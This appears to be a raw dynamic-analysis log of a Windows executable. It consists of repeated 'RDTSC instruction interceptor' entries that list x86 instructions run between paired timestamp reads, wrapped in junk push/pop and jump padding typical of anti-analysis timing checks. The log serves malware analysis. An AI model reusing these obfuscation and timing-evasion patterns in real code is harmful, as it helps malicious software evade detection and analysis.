Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0513 second address: 4EC055F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, EF87h 0x00000007 mov al, FDh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F80A152120Bh 0x00000016 sub si, E24Eh 0x0000001b jmp 00007F80A1521219h 0x00000020 popfd 0x00000021 jmp 00007F80A1521210h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC055F second address: 4EC0579 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F80A144E1DFh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0579 second address: 4EC05CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F80A152120Fh 0x00000009 add si, 55BEh 0x0000000e jmp 00007F80A1521219h 0x00000013 popfd 0x00000014 push ecx 0x00000015 pop ebx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F80A1521219h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC05CD second address: 4EC05ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov di, 752Eh 0x00000011 mov eax, edi 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC05ED second address: 4EC05F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0451 second address: 4EC04AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F80A144E1E2h 0x0000000e push eax 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F80A144E1E1h 0x00000016 xor ecx, 7F7814F6h 0x0000001c jmp 00007F80A144E1E1h 0x00000021 popfd 0x00000022 mov dx, cx 0x00000025 popad 0x00000026 xchg eax, ebp 0x00000027 jmp 00007F80A144E1DAh 0x0000002c mov ebp, esp 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC04AF second address: 4EC04B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC04B3 second address: 4EC04B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC04B9 second address: 4EC04C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F80A152120Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC018A second address: 4EC01B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F80A144E1E5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC01B1 second address: 4EC01C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F80A152120Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC01C1 second address: 4EC0256 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F80A144E1E9h 0x00000011 xchg eax, ebp 0x00000012 pushad 0x00000013 mov cl, B3h 0x00000015 call 00007F80A144E1E9h 0x0000001a pushfd 0x0000001b jmp 00007F80A144E1E0h 0x00000020 add si, ACE8h 0x00000025 jmp 00007F80A144E1DBh 0x0000002a popfd 0x0000002b pop esi 0x0000002c popad 0x0000002d mov ebp, esp 0x0000002f jmp 00007F80A144E1DFh 0x00000034 pop ebp 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F80A144E1E5h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0164 second address: 4ED0174 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F80A152120Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0174 second address: 4ED01BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F80A144E1E4h 0x00000013 sub eax, 7A22D258h 0x00000019 jmp 00007F80A144E1DBh 0x0000001e popfd 0x0000001f mov ax, 5B0Fh 0x00000023 popad 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED01BA second address: 4ED01C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A152120Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED01C8 second address: 4ED01CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED01CE second address: 4ED01EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A152120Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movsx ebx, ax 0x00000012 mov bl, ah 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED01EB second address: 4ED01F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED01F0 second address: 4ED0216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F80A1521214h 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0216 second address: 4ED021A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED021A second address: 4ED0220 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00EA6 second address: 4F00ED1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F80A144E1DEh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00ED1 second address: 4F00ED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00ED5 second address: 4F00ED9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00ED9 second address: 4F00EDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00EDF second address: 4F00F1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F80A144E1E5h 0x00000009 jmp 00007F80A144E1DBh 0x0000000e popfd 0x0000000f push ecx 0x00000010 pop edx 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 xchg eax, ebp 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 call 00007F80A144E1DEh 0x0000001d pop ecx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00F1C second address: 4F00F3F instructions: 0x00000000 rdtsc 0x00000002 mov cx, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov cl, dl 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F80A1521215h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0295 second address: 4EE0299 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0299 second address: 4EE029F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE029F second address: 4EE02A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE02A5 second address: 4EE0316 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A1521218h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov ebx, esi 0x0000000f pushfd 0x00000010 jmp 00007F80A152120Ah 0x00000015 xor al, FFFFFF88h 0x00000018 jmp 00007F80A152120Bh 0x0000001d popfd 0x0000001e popad 0x0000001f push eax 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007F80A152120Fh 0x00000027 adc ch, FFFFFFCEh 0x0000002a jmp 00007F80A1521219h 0x0000002f popfd 0x00000030 push eax 0x00000031 push edx 0x00000032 movzx esi, di 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0316 second address: 4EE031A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE031A second address: 4EE03DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 jmp 00007F80A152120Fh 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 push eax 0x00000011 jmp 00007F80A152120Bh 0x00000016 pop esi 0x00000017 mov di, F6BCh 0x0000001b popad 0x0000001c mov eax, dword ptr [ebp+08h] 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F80A1521211h 0x00000026 sbb si, 8C16h 0x0000002b jmp 00007F80A1521211h 0x00000030 popfd 0x00000031 mov cx, 0687h 0x00000035 popad 0x00000036 and dword ptr [eax], 00000000h 0x00000039 jmp 00007F80A152120Ah 0x0000003e and dword ptr [eax+04h], 00000000h 0x00000042 pushad 0x00000043 mov dx, ax 0x00000046 pushfd 0x00000047 jmp 00007F80A152120Ah 0x0000004c sub cx, 5768h 0x00000051 jmp 00007F80A152120Bh 0x00000056 popfd 0x00000057 popad 0x00000058 pop ebp 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c pushfd 0x0000005d jmp 00007F80A152120Bh 0x00000062 add ecx, 11C152AEh 0x00000068 jmp 00007F80A1521219h 0x0000006d popfd 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE03DC second address: 4EE03E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE03E1 second address: 4EE03E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0131 second address: 4EE0135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0135 second address: 4EE0139 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0139 second address: 4EE013F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE013F second address: 4EE016B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F80A1521218h 0x00000008 pop eax 0x00000009 mov ebx, 6932ACE6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE016B second address: 4EE016F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE016F second address: 4EE0173 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0173 second address: 4EE0179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0179 second address: 4EE0189 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F80A152120Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0189 second address: 4EE018D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F007E2 second address: 4F007E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F007E9 second address: 4F00810 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F80A144E1E5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00810 second address: 4F00820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F80A152120Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00820 second address: 4F0082F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F0082F second address: 4F00838 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, 8F05h 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00838 second address: 4F0085F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F80A144E1E5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F0085F second address: 4F00896 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A1521211h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F80A1521211h 0x0000000f xchg eax, ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F80A152120Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00896 second address: 4F00911 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F80A144E1E7h 0x00000009 xor cx, 711Eh 0x0000000e jmp 00007F80A144E1E9h 0x00000013 popfd 0x00000014 push ecx 0x00000015 pop edi 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov eax, dword ptr [76FA65FCh] 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007F80A144E1DFh 0x00000027 xor ax, DB2Eh 0x0000002c jmp 00007F80A144E1E9h 0x00000031 popfd 0x00000032 mov cx, 29B7h 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00911 second address: 4F00941 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F80A1521213h 0x00000008 pop esi 0x00000009 mov dh, 94h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e test eax, eax 0x00000010 pushad 0x00000011 mov ax, 5769h 0x00000015 popad 0x00000016 je 00007F8113544237h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00941 second address: 4F00945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00945 second address: 4F0094B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F0094B second address: 4F00951 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00951 second address: 4F00955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00955 second address: 4F009DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, eax 0x0000000d pushad 0x0000000e pushad 0x0000000f mov ecx, 00AEF603h 0x00000014 pushfd 0x00000015 jmp 00007F80A144E1E8h 0x0000001a xor esi, 52DC17C8h 0x00000020 jmp 00007F80A144E1DBh 0x00000025 popfd 0x00000026 popad 0x00000027 mov edi, ecx 0x00000029 popad 0x0000002a xor eax, dword ptr [ebp+08h] 0x0000002d jmp 00007F80A144E1DBh 0x00000032 and ecx, 1Fh 0x00000035 pushad 0x00000036 movzx ecx, dx 0x00000039 movsx ebx, cx 0x0000003c popad 0x0000003d ror eax, cl 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 jmp 00007F80A144E1E5h 0x00000047 mov bx, cx 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F009DC second address: 4F009F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 mov di, 9C2Ah 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d leave 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F80A152120Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F009F8 second address: 4F009FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F009FE second address: 4F00A02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00A02 second address: 4F00A12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c mov esi, eax 0x0000000e lea eax, dword ptr [ebp-08h] 0x00000011 xor esi, dword ptr [00072014h] 0x00000017 push eax 0x00000018 push eax 0x00000019 push eax 0x0000001a lea eax, dword ptr [ebp-10h] 0x0000001d push eax 0x0000001e call 00007F80A631EB23h 0x00000023 push FFFFFFFEh 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00A12 second address: 4F00A46 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 69FDE2D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a mov ch, D0h 0x0000000c mov ebx, 60D3D73Ah 0x00000011 popad 0x00000012 popad 0x00000013 pop eax 0x00000014 pushad 0x00000015 jmp 00007F80A1521217h 0x0000001a pushad 0x0000001b mov eax, 4CE06345h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0051 second address: 4EB0055 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0055 second address: 4EB005B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB005B second address: 4EB0062 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0062 second address: 4EB0081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F80A1521212h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0081 second address: 4EB0085 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0085 second address: 4EB008B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB008B second address: 4EB011D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c pushad 0x0000000d mov ecx, 6C24B8EDh 0x00000012 movzx esi, dx 0x00000015 popad 0x00000016 push ebx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F80A144E1E0h 0x0000001e and al, FFFFFFB8h 0x00000021 jmp 00007F80A144E1DBh 0x00000026 popfd 0x00000027 call 00007F80A144E1E8h 0x0000002c mov bl, ch 0x0000002e pop edx 0x0000002f popad 0x00000030 mov dword ptr [esp], ecx 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007F80A144E1DFh 0x0000003c add cl, FFFFFFDEh 0x0000003f jmp 00007F80A144E1E9h 0x00000044 popfd 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB011D second address: 4EB0122 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0122 second address: 4EB01CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F80A144E1E4h 0x00000011 add ah, 00000038h 0x00000014 jmp 00007F80A144E1DBh 0x00000019 popfd 0x0000001a jmp 00007F80A144E1E8h 0x0000001f popad 0x00000020 push eax 0x00000021 jmp 00007F80A144E1DBh 0x00000026 xchg eax, ebx 0x00000027 jmp 00007F80A144E1E6h 0x0000002c mov ebx, dword ptr [ebp+10h] 0x0000002f jmp 00007F80A144E1E0h 0x00000034 xchg eax, esi 0x00000035 pushad 0x00000036 movsx ebx, si 0x00000039 popad 0x0000003a push eax 0x0000003b jmp 00007F80A144E1DFh 0x00000040 xchg eax, esi 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB01CC second address: 4EB0254 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F80A1521211h 0x00000008 sbb ax, 2FF6h 0x0000000d jmp 00007F80A1521211h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 mov bx, cx 0x00000019 mov edx, ecx 0x0000001b popad 0x0000001c popad 0x0000001d mov esi, dword ptr [ebp+08h] 0x00000020 pushad 0x00000021 mov bx, si 0x00000024 movzx ecx, dx 0x00000027 popad 0x00000028 push eax 0x00000029 jmp 00007F80A1521216h 0x0000002e mov dword ptr [esp], edi 0x00000031 jmp 00007F80A1521210h 0x00000036 test esi, esi 0x00000038 jmp 00007F80A1521210h 0x0000003d je 00007F811358F5D3h 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0254 second address: 4EB0271 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0271 second address: 4EB0293 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A1521211h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
